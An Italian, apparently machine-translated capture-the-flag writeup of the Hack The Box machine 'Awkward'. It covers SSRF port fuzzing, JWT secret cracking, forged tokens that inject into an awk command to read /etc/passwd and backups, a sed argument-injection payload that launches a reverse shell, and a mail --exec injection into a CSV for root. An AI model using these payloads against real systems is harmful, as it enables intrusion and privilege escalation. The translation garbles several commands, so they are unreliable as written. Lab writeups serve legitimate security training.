Awkward Hack The Box Soluzione — [ Htb ]

Feb 22 2023
Awkward Htb Writeup Ehi ragazzi! Benvenuti nel mio blog, quindi oggi discuteremo di una scomoda macchina hack-the-box che presenta una vulnerabilità SSRF per ottenere l'accesso al file system interno, inoltre esiste una vulnerabilità LFI per ottenere la shell utente di quella macchina e abusando il comando mail possiamo ottenere i privilegi di root di quel sistema Enumerazione: Quindi, come al solito, avviamo con il nostro nmap scan FASE 1: nmap -sC -sV 10.10.

Scritto Htb imbarazzante

Hey ragazzi! Benvenuti nel mio blog, quindi oggi discuteremo di una scomoda macchina hack-the-box che presenta una vulnerabilità SSRF per ottenere l'accesso al file system interno, inoltre esiste una vulnerabilità LFI per ottenere la shell utente di quella macchina e abusando il comando mail possiamo ottenere i privilegi di root di quel sistema

Enumerazione:

Quindi, come al solito, iniziamo con la nostra scansione nmap

PASSO 1: nmap -sC -sV 10.10.11.185

Qui c'è il solito porto ei servizi sono aperti

Quindi ci consente di visitare il sito Web sul browser che èhttp://10.10.11.185

Ora verrà reindirizzato al filehttp://hat-valley.htb/quindi aggiungiamolo al tuo file /etc/hosts per accedere a quel sito web

Ora puoi essere in grado di accedere a quel sito web

Successivamente, ho controllato il codice sorgente per qualsiasi cosa interessante.

E ho trovato un file javascript interessante che app.js ma il codice è enorme

Copiamo e incolliamo quel codice inhttps://codepen.io/pen/che rende vscode migliore o aperto

Analizzando ulteriormente questo codice è possibile trovare più token JWT codificati con base64 che non è interessante

Qui dobbiamo analizzare l'intero codice app.js per ottenere cose interessanti

Analizzando ulteriormente questo codice ho trovato alcune directory interessanti

Per prima cosa ho trovato il percorso /hr

che ha reindirizzato a una pagina di accesso. Ho provato con la password amministratore predefinita ma non funziona

Vedendo il codice sopra puoi notare che baseurl = API e ci sono altre directory all-leave e submit-leave nell'API perché concatena baseurl + all-leave e baseurl + submit-leave che è interessante quindi ora tu può essere in grado di comprendere questo codice e la stessa spiegazione per le due immagini sottostanti cambierà solo la directory

Quindi controlliamo i /api/staff-details

Ohhh!!!! Genera l'errore del token JWT malformato, penso che sia un errore di token, quindi passiamolo senza token

PASSO 2: arricciare -shttp://hat-valley.htb/api/staff-details| jq

Bummm!!! Ora otterrai il nome utente e la password di ogni utente disponibile

Quindi creiamo questo hash usando john ma sfortunatamente l'hash è stato crackato dahttps://hashes.com/en/tools/hash_identifierqui sono andato a trovare il formato hash ma si è rotto grazie

username = christopher.jones password=chris123 quindi accedi con questo nome utente e password

Bummm!!! Abbiamo il cruscotto

Quindi, ho fatto clic sul pulsante di aggiornamento

E cattura quella richiesta in rutto e ho trovato qualcosa di sbagliato con quella richiesta

Vulnerabilità SSRF:

Perché c'è un parametro URL che può portare all'attacco SSRF

Usando quella vulnerabilità SSRF possiamo accedere al file interno di quel sistema che non è pubblicamente disponibile

Dai un'occhiata all'articolo qui sotto

Ho verificato conhttp://localhost:80che èhttp://hat-vally.htb

Ora puoi confermare che si tratta di un SSRF. Urrrrh!!!

Quindi fuzziamo la porta per ottenere l'accesso interno a quel sistema

PASSO 3: ffuff -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w /usr/share/seclists/Fuzzing/4-digits-0000–9999.txt -fs 0

Qui ho trovato 3002 interessante, quindi controlliamolo. ma ottieni la pagina vuota

Metti le virgolette doppie su "http://localhost:3002"

Ora puoi accedere a quella pagina interna

Inclusione file locale:

Dopo aver analizzato questa pagina ho trovato un interessante endpoint API che presenta una vulnerabilità LFI

Analizzando ulteriormente questo codice ho trovato qualcosa di interessante nel comando AWK Normalmente lo strumento AWK Linux ed è un linguaggio di programmazione (Check out In google)

E il nome della casella ha un senso imbarazzante , ma personalmente penso che sia disponibile nell'escalation dei privilegi dell'utente a root (controlla questo in tryhackme Room)

Qui puoi notare che il comando awk passa la variabile utente che ha decodificato il token JWT di un utente

Ma per abusarne abbiamo bisogno della chiave segreta perché usando quella chiave segreta possiamo creare il nostro token per qualsiasi utente

BruteForceing della chiave debole:

Mentre accedi con l'utente di Christoper puoi essere in grado di vedere il token nel rutto

Dobbiamo decifrare questo token per Secrete Key usando John

Prima copia e incolla il token JWT nel file

FASE 4: john JWT.txt — wordlist=rockyou.txt — format=HMAC-SHA256

Bummm!!! Ora puoi ottenere la chiave segreta

Ora la firma è verificata

Per prima cosa controlliamo il file /etc/passwd

Quindi arricciamo quell'endpoint con questo token JWT

FASE 5: arricciarehttp://hat-valley.htb/api/all-leave— intestazione “cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii
8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzY5MDQ3Mjh9.9kHRYTuO1Oh0ykcKpTiNmCH8jeg4rL8J3 1znekRdaaE”

Booomm!!!! Ora elencherà il file /etc/passwd

Qui trovi alcuni utenti come bean e Christine

E ho controllato le chiavi ssh per entrambi gli utenti ma non siamo in grado di recuperarle

Quindi andiamo avanti per il file .bashrc

Quindi arriccialo e otterrai il file .bashrc

Analizzando ulteriormente questo file bash, puoi notare che esiste un file di backup che ha senso

Diamo questa posizione di backup nella chiave JWT

Successivamente arriccia questo token con quell'endpoint

FASE 6: arricciarehttp://hat-valley.htb/api/all-leave— intestazione “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NzY5MDQ3Mjh 9.4LyhastbruMYsHH8UcKped_Pic7mjvSD2fSkVZWfC1w” — uscita backup.sh

Ora otterrai quel file backup.sh e su quel file puoi vedere il file backup.tar

FASE 7: arricciarehttp://hat-valley.htb/api/all-leave— intestazione “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3og JyIsImlhdCI6MTY3NjkwNDcyOH0.sE5i7Nx06DGh1uhK_nyMIhGn2bCt_nxoDDtu9P7ogk0” — output bean_backup_final.tar.gz

Quindi estrai quel file e otterrai il file di backup di quella macchina

E sono disponibili anche alcuni file e directory nascosti

PASSO 8: ls -al

Quindi, apri il file

PASSO 9 : cat /.config/xpad/content-DS1ZS1

Qui puoi trovare alcuni crediti bean per il login SSH

Contrassegno utente:

PASSO 10: bean [email protected]

PASSO 11: cat utente.txt

Boooomm!!! Ora ottieni la userflag di quella macchina

Dopo aver ottenuto la shell ho controllato sudo binary abuse e linpeas ma non funzionerà

Successivamente, ho controllato il file host per vhost o sottodominio interessanti

Quindi aggiungiamolo al nostro file /etc/hosts per accedere a quella pagina web

durante l'accesso a quella pagina richiede un nome utente e una password

Quindi ho controllato il file di configurazione in nginx che è /etc/nginx e ho ottenuto il nome utente e la password nell'hash

ma probabilmente non sarò in grado di decifrare quell'hash, quindi ho usato i crediti SSH per accedere a quell'applicazione

Nome utente: admin Password: 014mrbeanrules!#P

Bummm!!! Otteniamo l'accesso a quell'applicazione e all'applicazione Shopping

Quindi sono andato su shop.php

Successivamente, ho rivisto quel codice in /var/www/store per qualsiasi cosa interessante

Nel codice, ho trovato qualcosa di strano nel comando Sed che può portare all'esecuzione di codice remoto ma non possiamo sfruttarlo direttamente nell'applicazione web se eseguire la shell inversa mostra un cattivo carattere rilevato !!

Quindi, per evitare ciò, impostiamo una shell inversa in quella macchina ed eseguiamo quel file su quell'applicazione

Innanzitutto, aggiungi qualsiasi prodotto al carrello

Successivamente, controlla Mycart puoi vedere quel prodotto

E puoi vedere questo carrello su quella macchina se si aggiunge a quel carrello

Quindi il nostro piano è di abusare del comando sed per ottenere la shell inversa di quella macchina e possiamo essere in grado di eseguire il comando sul pulsante Rimuovi se sono necessarie ulteriori informazioni sull'abuso del comando SED nell'articolo seguente

Per prima cosa abbiamo bisogno di una semplice shell inversa da revshells.com

E dai il permesso di esecuzione a quel file

PASSO 12: chmod 777 evilshell.sh

Quindi imposta il tuo listener nel tuo computer locale

PASSO 13: nc -lvp 9001

Innanzitutto, aggiungi il prodotto al carrello

Successivamente, fai clic sul pulsante Rimuovi e acquisisci la richiesta

E modifica il parametro dell'articolo

'+-e+"1e+/tmp/evilshell.sh"+/tmp/evilshell.sh+'

      
                

Successivamente, ho controllato il processo nella macchina dell'utente

PASSO 14: ps -eaf

Qui puoi notare che inotifywait sta monitorando /var/www/private/leave_request quindi controlliamolo in www-data

Quindi passiamo un argomento a quel file su cosa è successo in quel processo

E ho scoperto che eseguendo il comando mail con privilegi di root

Quindi ci consente di passare la shell inversa su leave_request.csv ed esegue il comando mail con privilegio di root

Innanzitutto, crea una shell inversa sulla macchina dell'utente

Quindi imposta il tuo listener sulla macchina locale

PASSO 15: nc -lvp 9002

Successivamente vai su www-data machine ed esegui il comando seguente

echo '" --exec="\!/tmp/evilshell.sh"' >> leave_requests.csv

Bummmmm!!! Ora ottieni quella shell di root di quella macchina

Spero che tu capisca questo articolo Se ti piace il mio articolo per favore fai un applauso e se ti piace il mio lavoro fai una donazione al mio esame OSCP